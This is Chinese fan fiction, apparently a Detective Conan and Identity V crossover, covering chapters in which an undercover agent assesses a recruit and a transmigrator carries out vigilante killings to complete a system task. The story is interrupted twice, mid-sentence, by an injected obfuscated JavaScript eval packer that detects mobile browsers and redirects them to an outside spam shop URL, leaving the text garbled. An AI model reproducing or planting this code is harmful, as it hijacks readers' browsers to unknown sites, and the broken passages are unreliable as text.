《在柯学世界玩模仿者游戏》 1. 琴酒弟弟? 诸伏景光第一次接到考察新人的任务时,心情有些微妙。 毕竟,他作为苏格兰执行过许多指令——清除、获取、威胁,甚至是护卫,但考察……确实是第一次。 况且他隶属行动组,眼前电子档案上的评估倾向却明确标注新人以后的去向:策划组或主情报组。 情报组理论上来说是不分主次的,之所以出现这种“主情报组”的情况是因为策划组理论上来讲是情报组的分支,如果不分清的话会造成很多麻烦。 会显得策划组这个小部门好像有很多人似的。 不过诸伏景光苦恼的不是这个。 而是他作为一个行动组的狙击手,去考察未来的指挥官或情报人员? 他坐在安全屋的沙发上,端起微凉的黑咖啡抿了一口。苦意在舌尖蔓延,他却没什么表情,只是静静注视着任务简报。 刚开始他还有些疑惑,毕竟这和他确实八竿子打不着,但很快他就想通了。 大概和这次任务的性质有关。 目标是获取某位政治高官的把柄。组织惯用这类手段,将明面上光鲜的人物逐一拖入泥沼,迫使他们暗中效命。 这位高官虽然重要,但组织从不缺少替代品。这次任务不算简单,交给似乎很有能力的新人也正常,但如果失败…… 诸伏景光瞥了一眼紧闭的门。 那么,下一个任务很可能就是由他执行的“清理”。 想到这里,另一种更隐晦的情绪悄然渗入思绪。 这是他第一次担任考官。 就算评判稍有失误,也很正常,不是吗? 他凝视着新人资料,目光沉静。 照片上的年轻人眉眼冷峻,黑发垂落。 如果对方表现平庸,便如实上报,任由其沦为外围或底层成员。 但倘若这人展现出惊人的布局天赋…… 诸伏景光眼神暗了暗。 那么,身为初次负责考察的新手考官,在报告里稍微看走眼一次,压低评分,让这株危险的苗子暂时被按在更外围、接触不到核心的位置,似乎也很正常。 毕竟,谁还没有第一次呢?经验不足导致的误判,在组织看来,总比蓄意隐瞒要容易接受得多。 “咔哒。” 门锁轻响,被人从外推开。 诸伏景光从思绪中抽离,下意识朝门口投去一瞥,准备履行考官的职责。 嗯,琴酒来了。 他平静地收回目光,端起咖啡。 那么现在他该向对方说明任务详情……等等。 琴酒? 诸伏景光瞳孔几不可察地一缩,近乎本能地再次抬眼看去—— 不是琴酒。 门口立着一道修长的身影,黑色长风衣与礼帽,垂落的黑色长发长度都与琴酒相似。唯一鲜明的区别,是高领内搭的颜色并非琴酒惯穿的暗蓝,而是一种沉郁的暗红。帽檐下露出的小半张脸轮廓略显年轻,嘴角抿着一道与这身装束相称的、冷硬的弧度。 确实是诸伏景光之前收到的资料上的脸。 诸伏景光:“……” 如果不是他深知琴酒那独狼般的性子与残酷的作风,更清楚那人几乎不可能有亲属这种事物存在——就算有,也绝不可能今天才暴露——他几乎要以为,那位Top Killer是不是瞒着所有人,把自己气质相仿的弟弟给塞进组织里来了。 尽管被吓了一跳,但诸伏景光还是不动声色。 他没急着开口,目光平静地扫过对方从帽檐下露出的下颌线条,那抹暗红的高领,再到垂在肩侧的黑发。黑色皮质手套包裹着扶在门把上的手指,指节分明,力度收敛,像一头蓄势待发却刻意收拢爪牙的年轻野兽。 ……外形模仿到这种程度,是出于对琴酒的崇拜吗?还是试图用这种令人印象深刻的形象来快速建立威慑或印象? 资料上说倾向策划或情报组,那么后者的可能性更大。 在一瞬间思考完后,诸伏景光抬手指了指对面的单人沙发,不咸不淡地说:“坐。” 声音是他惯常作为苏格兰时的平稳低沉,听不出什么特别的情绪。 新人依言坐下,姿势算不上紧绷但也绝无放松。他靠在沙发边上,一只手撑着侧脸,黑色皮质手套包裹着修长的手指。依旧沉默。 那双被帽檐阴影遮挡的眼睛似乎在打量什么。 是这间安全屋的布局,还是对面这个代号苏格兰的男人? 诸伏景光无从判断。 诸伏景光重新拿起那份薄薄的资料,随手递过去,目光却没落在上面,而是直接看向对方被帽檐阴影遮挡了大半的脸。 “任务详情在这,目标人物关系、基本行踪信息、组织目前掌握的几条潜在线索。”他顿了顿,语气平淡地继续,“这次任务,是根据你的信息整合、分析以及制定可行计划的能力划分给你的。” “别让组织失望。” 他淡淡地说,顺便观察着对方的反应。 他觉得面前的新人不会太惊讶,毕竟在早上的时候组织就把目标发给了新人,现在只是让新人过来拿资料而已,顺便给个新的安全屋而已。 只不过……诸伏景光感觉不太妙。 这资料组织线上又不是不能给,非要代号成员给干什么? 而且如果只是考核任务,那么只需要看结果完没完成就行了,没完成的话苏格兰再给任务目标一枪狙了就行。 为什么组织还要特地让他们见一面? 在诸伏景光思绪期间,大概扫了一眼任务资料的新人几不可见地点了点头,表示明白。那动作轻微到几乎无法察觉,如果不是诸伏景光一直在注意他,很可能就会错过。 “安全屋的地址和基础支持已经提供。我会在这里停留,但除非出现危及任务的情况,否则我不会介入你的任何行动步骤。”发现面前的新人性格很冷淡,诸伏景光的语气里也带上了一丝公事公办的冷漠,“你需要独立完成。过程、方法、你调动的任何非组织直接提供的资源,都不用事后说明。组织只看结果。” 说到这里,是个人都能看出来,组织这是在包容神秘主义的存在。 于是,他停顿了片刻,仿佛才想起一个最基础的问题。他微微抬了抬下巴,看着新人,用听不出什么波澜的语调问:“那么,怎么称呼?” 戴着礼帽的年轻人似乎沉默了一下,似乎有些犹豫,然后,一个低沉、略显年轻但刻意压平的嗓音从帽檐下传来: “夜神信。” 声音没什么温度,和他这身装扮很配。 诸伏景光脸上没有任何意外的表情,毕竟他早就通过资料知道了新人的长相和名字。 他点了点头,很自然地说:“明白了,夜神。” “那么,从现在开始。你可以使用最右边的房间,里面有基础的通讯和资料处理设备。需要外出调查或执行你的计划,自行安排,不必向我报备。只有一点——”他再次强调,目光沉静,“一周后,我要看到结果。” 他重新靠回沙发背,端起了那杯已经凉透的黑咖啡,轻轻晃了晃,却没有再喝。这是一个无声的示意:交代完毕,你可以开始你的工作了。 新人果然明白了这点,他没有多说,只是几不可察地颔首,便起身进了最右边的房间,门被轻声带上。 “咔哒。” “……” 客厅里只剩下诸伏景光一个人。他垂下眼帘,静静坐了片刻,才起身关掉灯。 黑暗中,他有些头痛地叹了口气——他心中不妙的感觉已经越来越重了。 诸伏景光向来相信自己对人的直觉。 而那位新人身上散发出的气质,冷静、锐利,带着一种从骨子里透出来的疏离感,让他有种仿佛见到了琴酒新人时期的错觉。 这样的新人,加上由代号成员亲自考核……诸伏景光已经做好了最坏的打算。 在组织里,考官考着考着就很容易变成带新人,这种事经常发生。 一次观察很容易延伸成指导,继而演变为半固定的搭档或上下属关系,尤其当新人展现出值得培养的素质时。 这几乎快变成组织默认的一种规则了。 他无声地走回自己的房间,反手带上门,心想着其他东西的他没有立刻开灯。黑暗中,熟悉的布局让他可以大脑思考得更清晰。 带新人这件事对身为卧底的他来说,绝不是好消息。 近距离带领一个敏锐的新人,意味着暴露的风险呈指数级增加。 虽然只是短暂的照面,但诸伏景光已经能感受到对方那危险的观察力。帽檐阴影下看不见视线落在何处,但那种被审视的感觉真实存在过。 本来他打算在最终报告里不动声色地降低对方的评价,但现在他却不打算这么做了。 他微妙地想。 如果新人真有实力,那就在报告里把他推进策划组,让他被分去和自己和zero交集更少的部门。 思考完,他靠着门板站了一会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305092|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才在黑暗中摸出手机,屏幕冷白的光映亮他沉静却凝重的眉眼。 他早就彻底检查过这间安全屋,没有窃听器。这是苏格兰作为代号成员,在“苏格兰”临时地盘上应得的基本条件。组织固然残酷多疑,却也不会轻易使用如此拙劣直白的手段。 这样想着,他点开加密邮箱,给某个熟悉的地址发去了信息,指尖悬在发送键上停顿了一秒,最终落下。 没过几秒,对方回了一个句号。 这是他们之间的暗号:句号代表安全,独自一人。若只回“有空”则表示身旁有人,不便深谈;不回复或回复其他任何内容,均代表此刻并不方便。 诸伏景光没有寒暄,指尖在屏幕上快速敲击:【帮我查一个新人,叫夜神信。】 对面同样干净利落:【OK。】 …… 另一边,远在美国的安室透看着屏幕上那个名字,有些意外。 夜神信——他有点印象。据说是朗姆亲自带回来的人,似乎是看中了某种特质,扔给了琴酒所在的行动部。可不出两个月,就被琴酒转手丢给了贝尔摩德。 这一点让安室透挑了挑眉。 琴酒如果真不喜欢某个新人,大概连一周都忍不了。能留两个月,只说明一件事:琴酒认为这人更适合情报领域,才甩给了贝尔摩德。 但安室透了解贝尔摩德,他并不觉得贝尔摩德作为神秘主义者有耐心带新人。 会被当成消耗品随随便便的死掉吧? 这样想着,他简要把已知信息整理成条,发过去,最后附上一句:【怎么突然查他?】 对面沉默了片刻,似乎在消化这些情报,良久,新的消息才跳出来:【我现在是他的考官。】 安室透盯着那行字,一时哑然。 ……所以,现在这是又被贝尔摩德丢给hiro了? 这种“情报部扔给行动部,行动部扔回情报部,情报部又丢给行动部”的场景,让安室透有些好笑的同时神情微凝。 这种情况很特殊。 但造成这种情况的原因当然不会是新人平庸——若真平庸,早就被扔去底层自生自灭了。 会出现这种情况,多半是朗姆或贝尔摩德那出了意外。 贝尔摩德不必多说,多半是因为不想带新人的原因。但身为情报部代表的朗姆把自己看上的人直接塞给行动部代表琴酒,本身就很可疑。 安室透目光沉了沉。 是郎姆给琴酒安排的明牌间谍吗?挑衅? 还是说,那个新人身上,有什么让朗姆都感到棘手,需要借琴酒的手来试探或打磨的东西? 他盯着屏幕上那个名字,良久,才在加密对话框里敲下最后一行字:【小心。有任何异常,第一时间告诉我。】 发送完毕,他删除了聊天记录,将手机放进西装内袋。 …… 与此同时,日本,东京。 安全屋内,坐在床边的诸伏景光凝视着手机屏幕上的文字,神情渐渐变得微妙。 还真是让他带新人啊? 而这种被几度转手的经历……算什么?烫手山芋?刺头? 思考间,他忽然轻轻呼出一口气,知道自己要带新人这个事实后,反而略微松懈下来。 毕竟他自己在新人时期,也曾辗转于多位代号成员手下,那段日子远比眼下更加危险,所以只是带气质和打扮都和琴酒很像的新人而已,又不是真的带琴酒,没那么麻烦。 而且要是真的在新人面前暴露身份…… 诸伏景光讽刺地扯了下嘴角。 那恐怕用不着琴酒动手,他自己都能被自己蠢得饮弹自尽。 他删除了所有消息,将手机放到枕边。 黑暗中,他静静躺着,听着隔壁房间偶尔传来的细微声响。 那个叫夜神信的新人,似乎完全没有要休息的意思。 资料翻动的声音停止后,是长时间的静默。然后键盘声再次响起,断断续续,像是在核对什么。偶尔有椅子轻轻移动的声响,大概是起身去查资料,或者只是站着思考。 诸伏景光想起自己新人时期的样子。 那时候他也是这样,一遍遍核对资料,一遍遍推演可能出现的意外,一遍遍问自己:如果这一步出错了,该怎么补救?该怎么处理?如果组织本来就设了陷阱,该怎么脱身? 这些问题永远没有标准答案。 想着无关紧要的事的诸伏景光终于阖上眼,让自己沉入短暂的睡眠。 2. 穿越之初 与诸伏景光处于同一屋檐下的夜神信——虽然听起来有几分碰瓷那位“新世界之神”的意思,但这确实是他现在身份的名字——正陷于一种深深的苦恼之中。 距离他穿越已经过去四年了。四年,说长不长,说短不短。长到足够让一个人习惯这个世界的空气、语言和生存规则,短到让最初的迷茫和惊惶还残留着新鲜的触感。 本想做出点什么成就的他到现在都一事无成……虽然也不是很一事无成,好歹名为子安观的治安官这个身份也算是小有名气了。 没错,治安官的名字是子安观。 当时的他不敢置信,觉得这名字未免有点太随便了。 别随便挑两个谐音直接安上去当名字啊! 结果后来经过系统解释发现这居然真的是个日本名,而且还是个挺正常的日本名。日语里“子安”(こやす)不算罕见,“观”(み)作为单字名也并非不可能,虽然组合起来确实透着股随意。 解释完的系统还好心安慰道:【没事,日语语言包已经给你装好了。虽然名字听起来有点随便,但至少别人叫你的时候,既懂日语又会中文的你能立刻反应过来,不是吗?】 被迫忘记自己名字和过去,改名为子安观的他并不这样觉得,但系统却已经自顾自地说下去:【而且你还挺幸运的。我觉得你这个身份大概会抽到“警校第六人”那样的角色……可惜你是任务式穿越者,如果去走人气路线,和那几个卷毛、金毛、紫眼睛、蓝眼睛的家伙搞好关系,再不经意透露点悲惨过去,最后英勇壮烈的死掉,说不定很快就能脱离世界了。】 【而且你是马甲型。如果后期开个组织身份的马甲,不掉马可以走黑红相爱相杀、爱而不得的路线;掉了马就是被感化、被救赎、最终赎罪……啊,差点忘了你是任务式的,平时带人气式穿越者带多了,顺口就——】 “等等,”子安观震惊地打断,“什么警校?什么组织?我要去当警察?我根本没有相关知识和技能啊?” 系统顿住,也震惊道:【你没看过名侦探柯南?】 子安观震惊之余理所当然地说:“我当然没看过啊。” 系统听到这话,可疑地沉默了一会儿,片刻后,它干巴巴地说:【我会给你留下最基础的系统面板,但我不会一直跟着你,我也有其他穿越者需要帮忙,你自己注意一下自己的技能,在系统面板里。】 【等你在三个阵营都拥有身份后,系统也会协助你处理身份,具体用精分还是托管模式随你选。身份自带的技能需要你自己摸索。那么,我走了。】 说完这句话,它连一丝停顿都没有,毫无留恋地消失了。 于是,被抛在这个陌生世界的子安观站在陌生的街道上,看人来人往,听完全能听懂却无比陌生的日语在耳边流淌,感觉像一场醒不过来的梦。 在确认系统真的消失了和自己身上真的没钱之后,实在没办法的他打算随便找个桥洞将就一夜时,被路过的巡警给捡回了警察局。 没错,警察局。 突然有了落脚点的他坐在警察局的长椅上,看着警察们忙碌穿梭——有的在处理其他案件,有的在核查他的身份并联系亲属,还有的坐在他身边,一边温和安抚,一边试探询问:“对其他病人……还有印象吗?” 是的,病人。 他抽到的身份根本不是什么“警校第六人”,而是一名失踪的精神病人。 而且还是一个虐待病人、拐卖人口、贩卖器官、人体实验的白沙街疯人院的病人。 没看过名侦探柯南但玩过第五人格模仿者的子安观:“……” 好多buff啊。 因此,刚来这个世界不到三小时,美强惨已经有了一个惨字的他,对于警察所说的一问三不知,只能选择闭口不言,假装精神受创,无法回答问题。 就在这时,他的身体检查报告出来了:未发现人体实验痕迹,器官完好,无虐待所致的外伤。 总而言之,除了精神状况存疑,他的身体健康得近乎异常。 这立刻引起了警员们的警觉。 白沙街疯人院的病人几乎无人生还,一场大火吞噬了所有纸质记录,只剩零星证据指向那里曾发生的可怕的事实。 而眼前这位,是唯一的幸存者。 但在那样的人间地狱里,有着极其健康的身体……太可疑了。 他是如何幸存的?是否与院内罪行有关?是否并非纯粹的受害者? 警察们交换着眼神,气氛逐渐凝重起来。 子安观能感觉到那些目光的变化。从最初的同情怜悯,到现在的审视怀疑。他没有解释,也无法解释,他对自己这个身份的经历一无所知。 但是也没有凝重多久,被联系的亲属匆匆赶来,打破了这沉重的气氛。 然而,当来人的身影出现在门口时,满屋的警察陷入了一种更为微妙的沉默。 ……这位怎么也穿着警服? 而察觉到氛围变化的子安观抬起眼,目光落在那个身着挺括警察制服的男人身上。 他像是想起什么似的先扫过对方的头发与眼睛—— 不是卷毛,不是金发,不是紫眸,也不是蓝眼。 确认完毕,不是系统让他注意的那几个人。他平静地收回视线,将注意力转向面前悄然浮现的系统面板,开始仔细审视起任务与那几项【外在特质】。 任务:【肃清非侦探团成员(0/17)】 嗯? 子安观震惊了一下。 十七个人? 他再次确认了一遍数字。确实是17,不是7也不是70。 十七个人。 子安观的震惊没超过两秒,随即似有所悟,心里开始默默盘算起神秘客和模仿者的人数。 导演、棋手、处刑人…… 数到最后,他有些愕然地发现,神秘客加上模仿者的人数居然真的有十七个人。 但是他拿头去肃清他们啊?他们现在根本就不存在吧? 而且他要是没猜错的话,他以后的马甲都会是模仿者的人物吧?我杀我自己? 内心一番不可置信后,他暂且说服自己系统应不会发布绝对无法完成的任务,转而仔细琢磨起任务描述。 “非侦探团成员”——意味着只要不是侦探团的成员,就符合条件? 听起来像句废话,但子安观想的却是:理论上,现在去街上随便找一个人,也都符合“非侦探团成员”这一定义。 ……应该不会这么简单粗暴吧? 他收敛心神,在还有警察关注他的情况下用意念点开【外在特质】栏目,假装自己只是在发呆。 【外在特质·制裁】:你无法容忍罪恶存在。只要场上仍有罪行未被清算,你枪中的子弹便永不耗尽。 子安观挑了挑眉。听起来是个相当实用的技能——似乎是手里有枪就必有子弹。 【外在特征 ·独裁】:总有神秘客愿意帮助侦探团,也有模仿者想要改过自新,但他们真的有那么好心吗? 这个描述让子安观想起前世某个游戏社区里流行的表情包(中立明牌帮好后,治安官be like :中立不死我不安心啊.jpg),他面上不动声色,心里却被自己逗的笑了一下。 目前看来,这个特质有些抽象,暂时看不出具体用途,他选择先略过。 【外在特质·自裁】:你无法容忍罪恶,但也绝不冤枉无辜。若对善者造成伤害,同等伤害将反馈于你;若致善者死亡,你亦将付出生命的代价。 子安观:“……” 不知道为什么,刚刚才想过普通人也是“非侦探团成员”的他,现在有种被打脸的感觉。 可他只是想想而已!他还没有极端到以为真能靠抹除十七个普通人的性命来完成任务啊! 内心一番激烈吐槽后,子安观默默关闭了系统界面,重新将视线投向正朝自己走来的那位亲属。 面前的男人身材高大,穿着笔挺的警服,眉宇间带着一种刚正又略显生涩的朝气。他走到子安观面前,略微弯下腰,声音放得很轻:“子安观……对吧?我是伊达航,你的表弟。” 子安观只是看着他,没有回答,维持着那种自闭儿童的架势。 虽然他的表面上很平静,但他内心实际上是有些意外的。 按理来说他觉得自己作为精神病人,应该会被转手送进另外一个精神病院,没想到还有机会和自己的亲属交流一番。 子安观想了想,觉得或许是基于某种人道主义考量。 毕竟,一个刚从那般人间地狱逃出的人——即便身上找不出伤痕——如果立刻又被送入类似的机构,那未免也太残忍了吧? 在他思考期间,迟迟等不到回复的伊达航似乎并不意外,他抓了抓头发,露出一个爽朗的笑容:“手续都办好了。医生说你身体没事,但需要静养,也需要家人照顾……这段时间,就先住我那里吧。”他顿了顿,又补充道,“别担心,我住的地方虽然不大,但很安静。” 旁边的一位似乎认识伊达航的警察拍了拍他的肩膀,低声叮嘱:“伊达,这家伙情况特殊。档案显示他被父母送进去没多久,那两位就出车祸去世了,而他待的又是那种鬼地方……不管他当初是因为什么进去的,现在能好才怪。你得多费点心。” 说完后警察叹了口气,自己都没忍住吐槽了一句:“不过话说回来,进了那种地方,就算本来没病也得给折腾出病来。能全须全尾出来已经算走运了。” “是,前辈!”伊达航挺直背脊,认真地应道。 …… 于是,子安观就这样被伊达航带回了家。 公寓是两室一厅的简单布局,收拾得整洁,透着单身青年刚刚独立生活的气息。玄关处摆着一双明显是刚买的男士拖鞋,客厅茶几上放着一份手写的生活须知,字迹工整有力,详细标注了附近超市的位置、垃圾回收的时间、紧急联系人的电话——甚至包括伊达航自己的排班表。 伊达航忙前忙后地给他整理床铺,拿出新毛巾,甚至有些不好意思地解释:“我平时工作有点忙,可能照顾不周……但我会尽量按时回来做饭。” 那个晚上,伊达航做了咖喱。 不是什么精致的料理,就是普通的速成咖喱块加上鸡肉和土豆,但热气腾腾的香味弥漫在小小的公寓里,让子安观有一瞬间的恍惚。 他已经很久很久没有吃过家常饭了。 穿越前……呃,他忘记了;穿越后,这具身体刚从疯人院出来——他不知道那个地方给的是什么食物,但想必不会是什么温暖的味道。 “尝尝看,可能味道淡了点。”伊达航坐在对面,有些紧张地看着他,“我不太会做饭,以后可以慢慢学。” 子安观拿起勺子,吃了一口。 咖喱的味道很正常。不惊艳,但正常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305093|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 最初的几天,子安观在扮演沉默病人的同时,也在观察这个表弟——虽然明确知道他是亲人,但一直没有什么实感。 话说为什么会被表弟照顾?难道没有其他更年长的亲戚吗? 他这样想着,无意间瞥见了伊达航随手放在桌上的警察手册,里面夹着的证件复印件上,出生年月清晰可见。 子安观计算了一下,沉默了。 伊达航,今年二十二岁。刚从警校毕业不久,正是满腔热血、开始摸爬滚打的年纪。 换句话说,他但凡早穿越一个月,伊达航甚至还没从警校毕业。 而自己这具身体,二十五岁。 子安观:“……” 穿越前,子安观自己也不过才十八,心理上并没觉得有太大差距。但此刻,看着证件上这个比自己身体年龄还小两岁、却已经穿上警服扛起责任,现在还要照顾一个“精神受创、来历可疑”的表哥的青年……子安观觉得自己像一个巨婴。 他,一个二十五岁的大男人,正被一个刚出社会、甚至还在和女友甜蜜恋爱期的小年轻,像个孩子一样事无巨细地照顾着。 这种认知让子安观如坐针毡。 他决定偷偷出门,试着找点零工,哪怕只能赚一点钱也好,至少尽量自己养活自己,最好能存些钱,早点搬出去。 毕竟他以后肯定要和他的女友结婚的吧?以后这个房子也说不定会变成他们的婚房,自己一个外人住在别人家打扰人家小两口,就算人家小两口不介意,他自己都会不好意思。 然后他就遭受了社会的毒打。 刚出门两小时,差点被一个过分热情的“招聘人员”拉进疑似传销的窝点。 子安观:“……” 子安观甚至都不记得自己是怎么回到伊达航公寓的。只记得一路上躲监控、绕小巷、翻窗户,那些动作那么自然,自然到好像他做过无数次。 万幸,伊达航白天基本都在执勤,而躲开监控和陌生人视线的他没被任何人发现今天出了门。 直到现在,他才后知后觉地注意到,手中的手枪不知道什么时候消失得无影无踪,仿佛从未存在过。 【制裁】……原来不是“有枪就有子弹”,而是“需要时,枪与子弹皆会到来”么? 他沉默着呼出一口气,调出系统面板。 任务栏赫然更新:【肃清非侦探团成员(1/17)】 果然如此……只要不是侦探团成员,杀谁都无所谓吗? 没错,他杀人了。 不过当然杀的不是传销人员,当时的他好不容易脱身,心有余悸地拐进一条相对僻静的小巷,正盘算着要不要找个路人借手机报警——毕竟他自己还没手机——意外就发生了。 这个熟悉的巷子深处传来压低的说话声,言辞激烈,一个男人痛快地说:“你们都会变成烟花,废物警察们!” 烟花。 提取到关键词,身体一下子不受自己的控制,仿佛久旱逢甘露般,他甚至没意识到自己是如何转身、拔枪、瞄准、开枪的,也没看清阴影中那人的具体样貌,一切就结束了。 就、很顺手、很顺利的结束了。 子安观:“……” 他的第一反应不是害怕,不是后悔,而是一种奇异的平静。 好像本来就该是这样。 好像他生来就该做这件事。 直到这种平静被炸弹犯尸体旁边的手机传来的警察的吼声打断,似乎在询问发生了什么事,谁在开枪。 好吧,这下连报警都省了,查到定位的警察们自会飞奔而来。 于是,他当机立断,做出了当时他认为最明智的决定—— 跑了。 …… 【肃清非侦探团成员(1/17)】 子安观盯着那行字:非侦探团成员。 不是罪犯,不是恶人,不是该死的人。 而是非侦探团成员。 也就是说,如果那天他遇到的是一个普通的抢劫犯,或者一个家暴的男人,或者一个欺负弱小的混混——开枪之后,【自裁】会不会启动? 一直想着这些事的子安观突然回过神,终于看见了系统背包的图标在闪烁,他疑惑地打开。 里面多了两样东西: 【简易定时炸弹 x1】 【日元 x 500,000】 子安观盯着这两样凭空出现的战利品,沉默了很久。 这算什么,地下义警?清道夫? 五十万日元,差不多是一个普通上班族两个月的工资。就这么轻易地到手了,因为杀了一个人。 那个人的生命,在他的系统判定里,就值五十万和一枚还没使用的炸弹。 尽管内心复杂,但他莫名地有种似乎找到了适合自己的工作的感觉。 意识到这念头的瞬间,子安观的表情变得十分微妙。 这种工作,先不说完全没法解释收入来源,一旦暴露,进局子怕是分分钟的事。 说不定,还是被伊达航痛心疾首、亲手铐进去的那种。 想象一下那个画面:表弟举着手铐,一脸“表哥你太让我失望了”的沉痛表情,而自己可能还得试图解释自己不是精神病发作想cos一下蝙蝠侠…… “……” 子安观扶住额头痛苦地命令自己别想了。 不可能有这种事发生的好吗! 3. 阴谋家的诞生 穿越这四年来,日子像被按下了某种规律的循环键。 每三个月,伊达航都会雷打不动地请出半天假,神情如常地带他去指定的机构进行精神状态复查。 子安观从不知道具体的检查报告内容,伊达航也从不主动提及,只是每次结束后,都会如释重负般地拍拍他的肩,说一句“一切正常,继续保持”。 而关于白沙街疯人院的一切,似乎在最初的调查无果后就无人深究,最终不了了之。 察觉到这点后的子安观也让自己表现得逐渐变得正常,从一开始的闭口不言逐渐变得能和人正常交流了。这种变化让伊达航和负责他的医生都很惊喜,仿佛看着一株枯萎的植物慢慢抽出新芽。 逐渐变得正常的子安观依然选择尝试融入正常社会。他断断续续地打着各种零工:便利店的夜班店员、居酒屋的洗碗工、搬家公司的临时帮手、甚至发过几天传单。收入微薄且不稳定,但好歹是一点一点地攒着。 直到穿越后第三年的某个节点,他看着自己终于累积到能支撑短期独立生活的存款,做出了决定——搬出去。 他挑了个伊达航轮休的日子,用平淡的语气提出想自己租房住。 当时的伊达航同意了,用开玩笑的语气说记得定期给他发个消息,不然他可是会出警的。 子安观也答应了。他搬进了一间更小、更旧,但完全属于自己的公寓。 而整整四年间,另一条“工作”线也在同步推进。 前前后后,正好十七个人。 目标并不固定,有时是新闻角落里嚣张的连环杀人犯,有时是绑架勒索的亡命徒,也有操弄人口买卖的蛆虫…… 【制裁】的发动依旧带着某种近乎直觉的冲动牵引着他,但渐渐地,子安观已经熟悉了那种感觉——甚至能像处理超市打折商品一样冷静地处理现场。 当然不是指处理尸体!只是处理一下附近的监控,还有监控室门锁上那些不太自然的痕迹而已。 系统背包里,危险物品和日元数额交替增长,被我理所当然地用在了生活的方方面面。 毕竟最高的犯人掉了一百万,最低的那个……才十五万。 子安观以前干的体力活,每个月都能拿到十四万日元。 所以当发现某个杀了三个人的家伙只值十四万的时候,子安观对着系统界面沉默了整整一分钟。 有时候真觉得你们这些犯罪分子的命挺廉价的。 除了这些,子安观还有个不太想承认的发现:自己对监控室有种近乎本能的关注和渴望。 这也是为什么明明已经避开了所有摄像头,却还是会忍不住溜进监控室再检查一遍的原因。 就连平常时候路过写字楼、商场甚至旧公寓的监控室,那扇紧闭的门都会对他产生奇怪的吸引力,脑海里会冒出撬锁进去、在发着微光的屏幕前待上一整夜的冲动。 他每次都勉强压下了这种念头,将其归咎于某个外在特质的影响。 第四年的某天,当最后一个目标倒地,系统提示【肃清非侦探团成员(17/17)】任务完成的瞬间,还没等他松口气,一股强烈的信息流涌入脑海。 新的身份模块解锁了。 【新马甲加载中……身份确认:阴谋家。】 突如其来的系统电子音似乎都带着久别重逢的活跃,它快速扫描、读取着子安观这四年来的行为记录。 短暂的静默后。【等等!】系统的声音陡然拔高,充满了难以置信的惊怒,【你这四年都在干什么啊?!】 子安观被它突如其来的高分贝吓了一跳。 【拿到了伊达航的家属身份,这么绝佳的切入点!你居然没去接近萩原研二?没去搭讪松田阵平?!】它的电子音因为激动甚至有些变调,【你哪怕只是跟着伊达航去参加几次联谊,现在也该混进他们的核心圈子了!而不是像现在这样,才见过几次面的路人关系!暴殄天物啊!你知道多少穿越者梦寐以求这种开局吗?!】 子安观沉默着,没有吭声,内心思考的同时安静地等它噼里啪啦地发泄完这顿突如其来的怒火。 系统这话里的意思……难不成说松田阵平和萩原研二是什么重要人物? 子安观确实认识松田阵平和萩原研二,但也只是认识而已。 印象里那两个人来过伊达航家几次,一个戴着墨镜卷着头发,说话大大咧咧;另一个笑得很好看,总是把衬衫领口敞着,开玩笑说自己迷路了,让伊达航帮帮忙。 伊达航介绍说他们是警校时的同期,现在是□□处理班的搭档。 仅此而已。 子安观对他们的印象停留在“表弟的朋友,看起来人不错”的层面,从未想过要去刻意接近。他那时候忙着打零工攒钱,忙着完成治安官的任务,哪有心思去社交? 系统的声音戛然而止,似乎是检测到了新加载的马甲数据。片刻沉默后,它的语气发生了一百八十度大转弯,变得异常轻柔: 【嘶!这个马甲……这种装扮……难不成和琴酒有关系?】 它停顿了一下,仿佛在确认什么,随后,语气瞬间被巨大的惊喜点燃: 【快,看看马甲身份上都写了什么!名字是不是姓黑泽?天哪,你这是什么运气!琴酒!那可是超高人气角色!你根本不需要多费力,只要作为他的弟弟这个身份登场,关注度自然就来了!我推荐你这次也走红方向!千万别走掉马路线!想想看,哥哥是冷酷无情的顶级杀手,弟弟却身处光明,挣扎着想要救赎哥哥……这种剧情张力,绝对会大火特火!人气肯定飙升!】 子安观皱着眉听着,听到中途就发现不对了,但还是等它充满憧憬地说完,才平静地回应了一句: “你是不是忘了,我是任务式穿越者。” 脑海中的声音像是被骤然掐断的广播,陷入一片突兀的寂静。 这让子安观原本想接着问的“如果掉马了,伊达航会不会变成琴酒的亲戚”这句话,也默默咽了回去。 虽然子安观没看过《名侦探柯南》,但从系统那兴奋过头的描述里也能判断出来——这个琴酒,恐怕不是什么能和正义沾边的角色。 【……】 几秒后,系统才干咳了一声,那股热情洋溢的语气迅速收敛,变得正经——甚至有点过于正经,带着点欲盖弥彰的转移话题意味: 【咳。任务式,对,任务式。因为最近在进行人气比赛所以就……嗯,总之,新马甲阴谋家已经解锁,相关基础身份信息及技能已载入,具体请自行查看面板。该马甲与现有身份治安官可切换使用,系统会自动为你伪装,当然,你也可以选择使用活人偶,因为你是马甲型,所以这是免费的,换做其他类型的穿越者估计还要花积分买。】 它的语速变得飞快,像在赶时间: 【任务模块已激活。请继续探索,积累不同阵营马甲,最后的主线任务将在达到相应阈值后发布。】 【那么,基础指引完毕,我还有其他穿越者的突发状况需要处理,下次任务关键节点或必要时再联系。祝你好运。】 话音未落,它瞬间消失得无影无踪,像是尴尬得生怕被子安观再追问一句似的。 